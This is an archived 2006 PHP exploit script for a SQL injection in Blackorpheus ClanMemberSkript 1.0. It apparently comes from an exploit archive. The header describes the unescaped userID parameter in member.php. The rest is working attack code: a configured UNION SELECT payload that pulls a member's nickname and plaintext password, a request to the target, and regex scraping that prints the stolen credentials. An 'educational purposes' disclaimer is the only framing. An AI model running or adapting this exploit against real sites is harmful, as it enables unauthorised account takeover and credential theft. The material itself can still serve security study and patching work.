Blackorpheus ClanMemberSkript 1.0 Remote SQL Injection Exploit :

Date : 2006-04-16 Author : snatcher
<?php /*

 |---==============================================================---|
 |                          /\__       /                         |   
 |     ____    ___      __     _   ___  \___      __    ___      |    
 |    /  __ /  _    / __    /  / ___   _    / __ /  __    |    
 |   /\__,  / / / \_ \_  \_/ \__/    /  __/  /     |     
 |   /\____/ \_ \_ \__/ \_\ \__ \____\ \_ \_ \____\ \_     |      
 |    /___/  /_//_//__//_/ /__//____/ /_//_//____/ /_/     |     
 |                                     >> Internet Security           |                         
 |---==============================================================---|
 
        title: Blackorpheus ClanMemberSkript 1.0 remote sql injection
      release: 2006-04-16
       author: snatcher [snatcher at gmx.ch]
      country: switzerland  |+|
	  
  application: Blackorpheus ClanMemberSkript 1.0
  description: a php / mysql based member management system
     download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=21
  description: you can get each password with a simple sql injection. the password 
               is plaintext :)
  fingerprint: google -> "powered by ClanMemberSkript" -> 18
       greets: honkey, str0ke <- good exploit publisher :),
			   all security guys and coders over the world,
 terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- member.php - line 7 -------------------------------------
$result = MYSQL_QUERY(" SELECT * FROM $member_tab WHERE userID=$userID ");
-----------------------------------------------------------------------------------------

because this $userID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.


*/

/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE  = 'http://yourhost.com/member.php';                 // in example: http://yourhost.com/member.php
$USER_ID       = 1;                                                // which user? default: 1
$TABLE_PREFIX  = '';                                               // default: empty
$GET_VARS      = '?userID=';                                       // do not change
$SQL_INJECTION = '-666 union select 0,0,0,0,0,0,0,0,0,nick,pass,'. // do not change
                 '0,0,0,0,0,0,0,0,0,0,0,0 from '.$TABLE_PREFIX.
				 'membersettings where userID = '.$USER_ID.' limit 1/*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn't open host!'); 
foreach ($file_array as $now)                               
	$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all("!Geburtsdatum:</font></td><tdwidth="50%"><fontface="Verdana,Arial,Helvetica,sans".
               "-serif"size="2">(.*?)</font>!",
			   $html_content,$username); /* gets username */
preg_match_all("!Wohnort:</font></td><tdwidth="50%"><fontface="Verdana,Arial,Helvetica,sans-serif".
               ""size="2">(.*?)</font>!", 
                $html_content,$password); /* gets password */

if ($username[1][0] && $password[1][0]) {
	echo 'username: <b>'.$username[1][0].'</b><br>';
	echo 'password: <b>'.$password[1][0].'</b>';
}else {
	echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: Blackorpheus ClanMemberSkript 1.0 remote sql injection<br>
release: 2006-04-16<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';

function str_castrate($string) {
	$string = str_replace("
", '', $string);
	$string = str_replace("
", '', $string);
	$string = str_replace(" ", '', $string);
	return $string;
}
?>

# milw0rm.com [2006-04-16]

C1

 

C2

 

C3